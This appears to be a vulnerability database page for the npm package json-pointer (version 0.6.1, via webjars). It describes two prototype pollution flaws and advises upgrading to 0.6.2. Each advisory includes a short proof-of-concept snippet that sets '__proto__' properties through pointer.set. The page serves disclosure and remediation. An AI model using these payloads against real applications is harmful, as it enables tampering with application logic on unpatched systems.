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org.webjars.npm:json-pointer@0.6.1 vulnerabilities

  • latest version

    0.6.2

  • latest non vulnerable version

    0.6.2

  • first published

    7 years ago

  • latest version published

    2 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the org.webjars.npm:json-pointer package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    org.webjars.npm:json-pointer is a Some utilities for JSON pointers described by RFC 6901

    Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2020-7709 when the pointer components are arrays.

    PoC

    const pointer = require('json-pointer');

// pointer.set({}, ['__proto__', 'polluted'], 'yes')
// console.log(polluted) // ReferenceError: polluted is not defined

pointer.set({}, [['__proto__'], 'polluted'], 'yes')
console.log(polluted)"

    How to fix Prototype Pollution?

    Upgrade org.webjars.npm:json-pointer to version 0.6.2 or higher.

    [0,0.6.2)
    • M
    Prototype Pollution

    org.webjars.npm:json-pointer is a Some utilities for JSON pointers described by RFC 6901

    Affected versions of this package are vulnerable to Prototype Pollution. Multiple reference of object using slash is supported.

    PoC

    var pointer = require('json-pointer');

var obj = {};
pointer.set(obj, '/__proto__/polluted', true);

console.log(polluted); // true

    How to fix Prototype Pollution?

    Upgrade org.webjars.npm:json-pointer to version 0.6.2 or higher.

    [,0.6.2)
    Go back to all versions of this package